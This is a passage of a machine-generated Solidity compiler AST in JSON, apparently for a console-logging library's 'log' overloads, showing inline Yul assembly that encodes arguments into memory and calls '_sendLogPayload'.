63611:2:22","valueSize":1},{"declaration":45547,"isOffset":false,"isSlot":false,"src":"363640:2:22","valueSize":1},{"declaration":45550,"isOffset":false,"isSlot":false,"src":"363669:2:22","valueSize":1},{"declaration":45553,"isOffset":false,"isSlot":false,"src":"363698:2:22","valueSize":1},{"declaration":45556,"isOffset":false,"isSlot":false,"src":"363727:2:22","valueSize":1}],"id":45564,"nodeType":"InlineAssembly","src":"363517:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"362415:3:22","parameters":{"id":45535,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45528,"mutability":"mutable","name":"p0","nameLocation":"362427:2:22","nodeType":"VariableDeclaration","scope":45566,"src":"362419:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45527,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362419:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45530,"mutability":"mutable","name":"p1","nameLocation":"362439:2:22","nodeType":"VariableDeclaration","scope":45566,"src":"362431:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45529,"name":"uint256","nodeType":"ElementaryTypeName","src":"362431:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45532,"mutability":"mutable","name":"p2","nameLocation":"362451:2:22","nodeType":"VariableDeclaration","scope":45566,"src":"362443:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45531,"name":"uint256","nodeType":"ElementaryTypeName","src":"362443:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45534,"mutability":"mutable","name":"p3","nameLocation":"362463:2:22","nodeType":"VariableDeclaration","scope":45566,"src":"362455:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45533,"name":"uint256","nodeType":"ElementaryTypeName","src":"362455:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"362418:48:22"},"returnParameters":{"id":45536,"nodeType":"ParameterList","parameters":[],"src":"362481:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45612,"nodeType":"FunctionDefinition","src":"363752:1536:22","nodes":[],"body":{"id":45611,"nodeType":"Block","src":"363827:1461:22","nodes":[],"statements":[{"assignments":[45578],"declarations":[{"constant":false,"id":45578,"mutability":"mutable","name":"m0","nameLocation":"363845:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363837:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45577,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363837:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45579,"nodeType":"VariableDeclarationStatement","src":"363837:10:22"},{"assignments":[45581],"declarations":[{"constant":false,"id":45581,"mutability":"mutable","name":"m1","nameLocation":"363865:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363857:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45580,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363857:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45582,"nodeType":"VariableDeclarationStatement","src":"363857:10:22"},{"assignments":[45584],"declarations":[{"constant":false,"id":45584,"mutability":"mutable","name":"m2","nameLocation":"363885:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363877:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45583,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363877:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45585,"nodeType":"VariableDeclarationStatement","src":"363877:10:22"},{"assignments":[45587],"declarations":[{"constant":false,"id":45587,"mutability":"mutable","name":"m3","nameLocation":"363905:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363897:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45586,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363897:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45588,"nodeType":"VariableDeclarationStatement","src":"363897:10:22"},{"assignments":[45590],"declarations":[{"constant":false,"id":45590,"mutability":"mutable","name":"m4","nameLocation":"363925:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363917:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45589,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363917:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45591,"nodeType":"VariableDeclarationStatement","src":"363917:10:22"},{"assignments":[45593],"declarations":[{"constant":false,"id":45593,"mutability":"mutable","name":"m5","nameLocation":"363945:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363937:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45592,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363937:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45594,"nodeType":"VariableDeclarationStatement","src":"363937:10:22"},{"assignments":[45596],"declarations":[{"constant":false,"id":45596,"mutability":"mutable","name":"m6","nameLocation":"363965:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363957:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45595,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363957:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45597,"nodeType":"VariableDeclarationStatement","src":"363957:10:22"},{"assignments":[45599],"declarations":[{"constant":false,"id":45599,"mutability":"mutable","name":"m7","nameLocation":"363985:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363977:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45598,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363977:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45600,"nodeType":"VariableDeclarationStatement","src":"363977:10:22"},{"assignments":[45602],"declarations":[{"constant":false,"id":45602,"mutability":"mutable","name":"m8","nameLocation":"364005:2:22","nodeType":"VariableDeclaration","scope":45611,"src":"363997:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45601,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363997:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45603,"nodeType":"VariableDeclarationStatement","src":"363997:10:22"},{"AST":{"nativeSrc":"364026:927:22","nodeType":"YulBlock","src":"364026:927:22","statements":[{"body":{"nativeSrc":"364069:313:22","nodeType":"YulBlock","src":"364069:313:22","statements":[{"nativeSrc":"364087:15:22","nodeType":"YulVariableDeclaration","src":"364087:15:22","value":{"kind":"number","nativeSrc":"364101:1:22","nodeType":"YulLiteral","src":"364101:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"364091:6:22","nodeType":"YulTypedName","src":"364091:6:22","type":""}]},{"body":{"nativeSrc":"364172:40:22","nodeType":"YulBlock","src":"364172:40:22","statements":[{"body":{"nativeSrc":"364201:9:22","nodeType":"YulBlock","src":"364201:9:22","statements":[{"nativeSrc":"364203:5:22","nodeType":"YulBreak","src":"364203:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"364189:6:22","nodeType":"YulIdentifier","src":"364189:6:22"},{"name":"w","nativeSrc":"364197:1:22","nodeType":"YulIdentifier","src":"364197:1:22"}],"functionName":{"name":"byte","nativeSrc":"364184:4:22","nodeType":"YulIdentifier","src":"364184:4:22"},"nativeSrc":"364184:15:22","nodeType":"YulFunctionCall","src":"364184:15:22"}],"functionName":{"name":"iszero","nativeSrc":"364177:6:22","nodeType":"YulIdentifier","src":"364177:6:22"},"nativeSrc":"364177:23:22","nodeType":"YulFunctionCall","src":"364177:23:22"},"nativeSrc":"364174:36:22","nodeType":"YulIf","src":"364174:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"364129:6:22","nodeType":"YulIdentifier","src":"364129:6:22"},{"kind":"number","nativeSrc":"364137:4:22","nodeType":"YulLiteral","src":"364137:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"364126:2:22","nodeType":"YulIdentifier","src":"364126:2:22"},"nativeSrc":"364126:16:22","nodeType":"YulFunctionCall","src":"364126:16:22"},"nativeSrc":"364119:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"364143:28:22","nodeType":"YulBlock","src":"364143:28:22","statements":[{"nativeSrc":"364145:24:22","nodeType":"YulAssignment","src":"364145:24:22","value":{"arguments":[{"name":"length","nativeSrc":"364159:6:22","nodeType":"YulIdentifier","src":"364159:6:22"},{"kind":"number","nativeSrc":"364167:1:22","nodeType":"YulLiteral","src":"364167:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"364155:3:22","nodeType":"YulIdentifier","src":"364155:3:22"},"nativeSrc":"364155:14:22","nodeType":"YulFunctionCall","src":"364155:14:22"},"variableNames":[{"name":"length","nativeSrc":"364145:6:22","nodeType":"YulIdentifier","src":"364145:6:22"}]}]},"pre":{"nativeSrc":"364123:2:22","nodeType":"YulBlock","src":"364123:2:22","statements":[]},"src":"364119:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"364236:3:22","nodeType":"YulIdentifier","src":"364236:3:22"},{"name":"length","nativeSrc":"364241:6:22","nodeType":"YulIdentifier","src":"364241:6:22"}],"functionName":{"name":"mstore","nativeSrc":"364229:6:22","nodeType":"YulIdentifier","src":"364229:6:22"},"nativeSrc":"364229:19:22","nodeType":"YulFunctionCall","src":"364229:19:22"},"nativeSrc":"364229:19:22","nodeType":"YulExpressionStatement","src":"364229:19:22"},{"nativeSrc":"364265:37:22","nodeType":"YulVariableDeclaration","src":"364265:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"364282:3:22","nodeType":"YulLiteral","src":"364282:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"364291:1:22","nodeType":"YulLiteral","src":"364291:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"364294:6:22","nodeType":"YulIdentifier","src":"364294:6:22"}],"functionName":{"name":"shl","nativeSrc":"364287:3:22","nodeType":"YulIdentifier","src":"364287:3:22"},"nativeSrc":"364287:14:22","nodeType":"YulFunctionCall","src":"364287:14:22"}],"functionName":{"name":"sub","nativeSrc":"364278:3:22","nodeType":"YulIdentifier","src":"364278:3:22"},"nativeSrc":"364278:24:22","nodeType":"YulFunctionCall","src":"364278:24:22"},"variables":[{"name":"shift","nativeSrc":"364269:5:22","nodeType":"YulTypedName","src":"364269:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"364330:3:22","nodeType":"YulIdentifier","src":"364330:3:22"},{"kind":"number","nativeSrc":"364335:4:22","nodeType":"YulLiteral","src":"364335:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"364326:3:22","nodeType":"YulIdentifier","src":"364326:3:22"},"nativeSrc":"364326:14:22","nodeType":"YulFunctionCall","src":"364326:14:22"},{"arguments":[{"name":"shift","nativeSrc":"364346:5:22","nodeType":"YulIdentifier","src":"364346:5:22"},{"arguments":[{"name":"shift","nativeSrc":"364357:5:22","nodeType":"YulIdentifier","src":"364357:5:22"},{"name":"w","nativeSrc":"364364:1:22","nodeType":"YulIdentifier","src":"364364:1:22"}],"functionName":{"name":"shr","nativeSrc":"364353:3:22","nodeType":"YulIdentifier","src":"364353:3:22"},"nativeSrc":"364353:13:22","nodeType":"YulFunctionCall","src":"364353:13:22"}],"functionName":{"name":"shl","nativeSrc":"364342:3:22","nodeType":"YulIdentifier","src":"364342:3:22"},"nativeSrc":"364342:25:22","nodeType":"YulFunctionCall","src":"364342:25:22"}],"functionName":{"name":"mstore","nativeSrc":"364319:6:22","nodeType":"YulIdentifier","src":"364319:6:22"},"nativeSrc":"364319:49:22","nodeType":"YulFunctionCall","src":"364319:49:22"},"nativeSrc":"364319:49:22","nodeType":"YulExpressionStatement","src":"364319:49:22"}]},"name":"writeString","nativeSrc":"364040:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"364061:3:22","nodeType":"YulTypedName","src":"364061:3:22","type":""},{"name":"w","nativeSrc":"364066:1:22","nodeType":"YulTypedName","src":"364066:1:22","type":""}],"src":"364040:342:22"},{"nativeSrc":"364395:17:22","nodeType":"YulAssignment","src":"364395:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364407:4:22","nodeType":"YulLiteral","src":"364407:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"364401:5:22","nodeType":"YulIdentifier","src":"364401:5:22"},"nativeSrc":"364401:11:22","nodeType":"YulFunctionCall","src":"364401:11:22"},"variableNames":[{"name":"m0","nativeSrc":"364395:2:22","nodeType":"YulIdentifier","src":"364395:2:22"}]},{"nativeSrc":"364425:17:22","nodeType":"YulAssignment","src":"364425:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364437:4:22","nodeType":"YulLiteral","src":"364437:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"364431:5:22","nodeType":"YulIdentifier","src":"364431:5:22"},"nativeSrc":"364431:11:22","nodeType":"YulFunctionCall","src":"364431:11:22"},"variableNames":[{"name":"m1","nativeSrc":"364425:2:22","nodeType":"YulIdentifier","src":"364425:2:22"}]},{"nativeSrc":"364455:17:22","nodeType":"YulAssignment","src":"364455:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364467:4:22","nodeType":"YulLiteral","src":"364467:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"364461:5:22","nodeType":"YulIdentifier","src":"364461:5:22"},"nativeSrc":"364461:11:22","nodeType":"YulFunctionCall","src":"364461:11:22"},"variableNames":[{"name":"m2","nativeSrc":"364455:2:22","nodeType":"YulIdentifier","src":"364455:2:22"}]},{"nativeSrc":"364485:17:22","nodeType":"YulAssignment","src":"364485:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364497:4:22","nodeType":"YulLiteral","src":"364497:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"364491:5:22","nodeType":"YulIdentifier","src":"364491:5:22"},"nativeSrc":"364491:11:22","nodeType":"YulFunctionCall","src":"364491:11:22"},"variableNames":[{"name":"m3","nativeSrc":"364485:2:22","nodeType":"YulIdentifier","src":"364485:2:22"}]},{"nativeSrc":"364515:17:22","nodeType":"YulAssignment","src":"364515:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364527:4:22","nodeType":"YulLiteral","src":"364527:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"364521:5:22","nodeType":"YulIdentifier","src":"364521:5:22"},"nativeSrc":"364521:11:22","nodeType":"YulFunctionCall","src":"364521:11:22"},"variableNames":[{"name":"m4","nativeSrc":"364515:2:22","nodeType":"YulIdentifier","src":"364515:2:22"}]},{"nativeSrc":"364545:17:22","nodeType":"YulAssignment","src":"364545:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364557:4:22","nodeType":"YulLiteral","src":"364557:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"364551:5:22","nodeType":"YulIdentifier","src":"364551:5:22"},"nativeSrc":"364551:11:22","nodeType":"YulFunctionCall","src":"364551:11:22"},"variableNames":[{"name":"m5","nativeSrc":"364545:2:22","nodeType":"YulIdentifier","src":"364545:2:22"}]},{"nativeSrc":"364575:17:22","nodeType":"YulAssignment","src":"364575:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364587:4:22","nodeType":"YulLiteral","src":"364587:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"364581:5:22","nodeType":"YulIdentifier","src":"364581:5:22"},"nativeSrc":"364581:11:22","nodeType":"YulFunctionCall","src":"364581:11:22"},"variableNames":[{"name":"m6","nativeSrc":"364575:2:22","nodeType":"YulIdentifier","src":"364575:2:22"}]},{"nativeSrc":"364605:17:22","nodeType":"YulAssignment","src":"364605:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"364617:4:22","nodeType":"YulLiteral","src":"364617:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"364611:5:22","nodeType":"YulIdentifier","src":"364611:5:22"},"nativeSrc":"364611:11:22","nodeType":"YulFunctionCall","src":"364611:11:22"},"variableNames":[{"name":"m7","nativeSrc":"364605:2:22","nodeType":"YulIdentifier","src":"364605:2:22"}]},{"nativeSrc":"364635:18:22","nodeType":"YulAssignment","src":"364635:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"364647:5:22","nodeType":"YulLiteral","src":"364647:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"364641:5:22","nodeType":"YulIdentifier","src":"364641:5:22"},"nativeSrc":"364641:12:22","nodeType":"YulFunctionCall","src":"364641:12:22"},"variableNames":[{"name":"m8","nativeSrc":"364635:2:22","nodeType":"YulIdentifier","src":"364635:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364738:4:22","nodeType":"YulLiteral","src":"364738:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"364744:10:22","nodeType":"YulLiteral","src":"364744:10:22","type":"","value":"0x854b3496"}],"functionName":{"name":"mstore","nativeSrc":"364731:6:22","nodeType":"YulIdentifier","src":"364731:6:22"},"nativeSrc":"364731:24:22","nodeType":"YulFunctionCall","src":"364731:24:22"},"nativeSrc":"364731:24:22","nodeType":"YulExpressionStatement","src":"364731:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364775:4:22","nodeType":"YulLiteral","src":"364775:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"364781:4:22","nodeType":"YulLiteral","src":"364781:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"364768:6:22","nodeType":"YulIdentifier","src":"364768:6:22"},"nativeSrc":"364768:18:22","nodeType":"YulFunctionCall","src":"364768:18:22"},"nativeSrc":"364768:18:22","nodeType":"YulExpressionStatement","src":"364768:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364806:4:22","nodeType":"YulLiteral","src":"364806:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"364812:2:22","nodeType":"YulIdentifier","src":"364812:2:22"}],"functionName":{"name":"mstore","nativeSrc":"364799:6:22","nodeType":"YulIdentifier","src":"364799:6:22"},"nativeSrc":"364799:16:22","nodeType":"YulFunctionCall","src":"364799:16:22"},"nativeSrc":"364799:16:22","nodeType":"YulExpressionStatement","src":"364799:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364835:4:22","nodeType":"YulLiteral","src":"364835:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"364841:2:22","nodeType":"YulIdentifier","src":"364841:2:22"}],"functionName":{"name":"mstore","nativeSrc":"364828:6:22","nodeType":"YulIdentifier","src":"364828:6:22"},"nativeSrc":"364828:16:22","nodeType":"YulFunctionCall","src":"364828:16:22"},"nativeSrc":"364828:16:22","nodeType":"YulExpressionStatement","src":"364828:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364864:4:22","nodeType":"YulLiteral","src":"364864:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"364870:4:22","nodeType":"YulLiteral","src":"364870:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"364857:6:22","nodeType":"YulIdentifier","src":"364857:6:22"},"nativeSrc":"364857:18:22","nodeType":"YulFunctionCall","src":"364857:18:22"},"nativeSrc":"364857:18:22","nodeType":"YulExpressionStatement","src":"364857:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364900:4:22","nodeType":"YulLiteral","src":"364900:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"364906:2:22","nodeType":"YulIdentifier","src":"364906:2:22"}],"functionName":{"name":"writeString","nativeSrc":"364888:11:22","nodeType":"YulIdentifier","src":"364888:11:22"},"nativeSrc":"364888:21:22","nodeType":"YulFunctionCall","src":"364888:21:22"},"nativeSrc":"364888:21:22","nodeType":"YulExpressionStatement","src":"364888:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"364934:4:22","nodeType":"YulLiteral","src":"364934:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"364940:2:22","nodeType":"YulIdentifier","src":"364940:2:22"}],"functionName":{"name":"writeString","nativeSrc":"364922:11:22","nodeType":"YulIdentifier","src":"364922:11:22"},"nativeSrc":"364922:21:22","nodeType":"YulFunctionCall","src":"364922:21:22"},"nativeSrc":"364922:21:22","nodeType":"YulExpressionStatement","src":"364922:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45578,"isOffset":false,"isSlot":false,"src":"364395:2:22","valueSize":1},{"declaration":45581,"isOffset":false,"isSlot":false,"src":"364425:2:22","valueSize":1},{"declaration":45584,"isOffset":false,"isSlot":false,"src":"364455:2:22","valueSize":1},{"declaration":45587,"isOffset":false,"isSlot":false,"src":"364485:2:22","valueSize":1},{"declaration":45590,"isOffset":false,"isSlot":false,"src":"364515:2:22","valueSize":1},{"declaration":45593,"isOffset":false,"isSlot":false,"src":"364545:2:22","valueSize":1},{"declaration":45596,"isOffset":false,"isSlot":false,"src":"364575:2:22","valueSize":1},{"declaration":45599,"isOffset":false,"isSlot":false,"src":"364605:2:22","valueSize":1},{"declaration":45602,"isOffset":false,"isSlot":false,"src":"364635:2:22","valueSize":1},{"declaration":45568,"isOffset":false,"isSlot":false,"src":"364906:2:22","valueSize":1},{"declaration":45570,"isOffset":false,"isSlot":false,"src":"364812:2:22","valueSize":1},{"declaration":45572,"isOffset":false,"isSlot":false,"src":"364841:2:22","valueSize":1},{"declaration":45574,"isOffset":false,"isSlot":false,"src":"364940:2:22","valueSize":1}],"id":45604,"nodeType":"InlineAssembly","src":"364017:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"364978:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"364984:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45605,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"364962:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"364962:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45609,"nodeType":"ExpressionStatement","src":"364962:28:22"},{"AST":{"nativeSrc":"365009:273:22","nodeType":"YulBlock","src":"365009:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"365030:4:22","nodeType":"YulLiteral","src":"365030:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"365036:2:22","nodeType":"YulIdentifier","src":"365036:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365023:6:22","nodeType":"YulIdentifier","src":"365023:6:22"},"nativeSrc":"365023:16:22","nodeType":"YulFunctionCall","src":"365023:16:22"},"nativeSrc":"365023:16:22","nodeType":"YulExpressionStatement","src":"365023:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365059:4:22","nodeType":"YulLiteral","src":"365059:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"365065:2:22","nodeType":"YulIdentifier","src":"365065:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365052:6:22","nodeType":"YulIdentifier","src":"365052:6:22"},"nativeSrc":"365052:16:22","nodeType":"YulFunctionCall","src":"365052:16:22"},"nativeSrc":"365052:16:22","nodeType":"YulExpressionStatement","src":"365052:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365088:4:22","nodeType":"YulLiteral","src":"365088:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"365094:2:22","nodeType":"YulIdentifier","src":"365094:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365081:6:22","nodeType":"YulIdentifier","src":"365081:6:22"},"nativeSrc":"365081:16:22","nodeType":"YulFunctionCall","src":"365081:16:22"},"nativeSrc":"365081:16:22","nodeType":"YulExpressionStatement","src":"365081:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365117:4:22","nodeType":"YulLiteral","src":"365117:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"365123:2:22","nodeType":"YulIdentifier","src":"365123:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365110:6:22","nodeType":"YulIdentifier","src":"365110:6:22"},"nativeSrc":"365110:16:22","nodeType":"YulFunctionCall","src":"365110:16:22"},"nativeSrc":"365110:16:22","nodeType":"YulExpressionStatement","src":"365110:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365146:4:22","nodeType":"YulLiteral","src":"365146:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"365152:2:22","nodeType":"YulIdentifier","src":"365152:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365139:6:22","nodeType":"YulIdentifier","src":"365139:6:22"},"nativeSrc":"365139:16:22","nodeType":"YulFunctionCall","src":"365139:16:22"},"nativeSrc":"365139:16:22","nodeType":"YulExpressionStatement","src":"365139:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365175:4:22","nodeType":"YulLiteral","src":"365175:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"365181:2:22","nodeType":"YulIdentifier","src":"365181:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365168:6:22","nodeType":"YulIdentifier","src":"365168:6:22"},"nativeSrc":"365168:16:22","nodeType":"YulFunctionCall","src":"365168:16:22"},"nativeSrc":"365168:16:22","nodeType":"YulExpressionStatement","src":"365168:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365204:4:22","nodeType":"YulLiteral","src":"365204:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"365210:2:22","nodeType":"YulIdentifier","src":"365210:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365197:6:22","nodeType":"YulIdentifier","src":"365197:6:22"},"nativeSrc":"365197:16:22","nodeType":"YulFunctionCall","src":"365197:16:22"},"nativeSrc":"365197:16:22","nodeType":"YulExpressionStatement","src":"365197:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365233:4:22","nodeType":"YulLiteral","src":"365233:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"365239:2:22","nodeType":"YulIdentifier","src":"365239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365226:6:22","nodeType":"YulIdentifier","src":"365226:6:22"},"nativeSrc":"365226:16:22","nodeType":"YulFunctionCall","src":"365226:16:22"},"nativeSrc":"365226:16:22","nodeType":"YulExpressionStatement","src":"365226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"365262:5:22","nodeType":"YulLiteral","src":"365262:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"365269:2:22","nodeType":"YulIdentifier","src":"365269:2:22"}],"functionName":{"name":"mstore","nativeSrc":"365255:6:22","nodeType":"YulIdentifier","src":"365255:6:22"},"nativeSrc":"365255:17:22","nodeType":"YulFunctionCall","src":"365255:17:22"},"nativeSrc":"365255:17:22","nodeType":"YulExpressionStatement","src":"365255:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45578,"isOffset":false,"isSlot":false,"src":"365036:2:22","valueSize":1},{"declaration":45581,"isOffset":false,"isSlot":false,"src":"365065:2:22","valueSize":1},{"declaration":45584,"isOffset":false,"isSlot":false,"src":"365094:2:22","valueSize":1},{"declaration":45587,"isOffset":false,"isSlot":false,"src":"365123:2:22","valueSize":1},{"declaration":45590,"isOffset":false,"isSlot":false,"src":"365152:2:22","valueSize":1},{"declaration":45593,"isOffset":false,"isSlot":false,"src":"365181:2:22","valueSize":1},{"declaration":45596,"isOffset":false,"isSlot":false,"src":"365210:2:22","valueSize":1},{"declaration":45599,"isOffset":false,"isSlot":false,"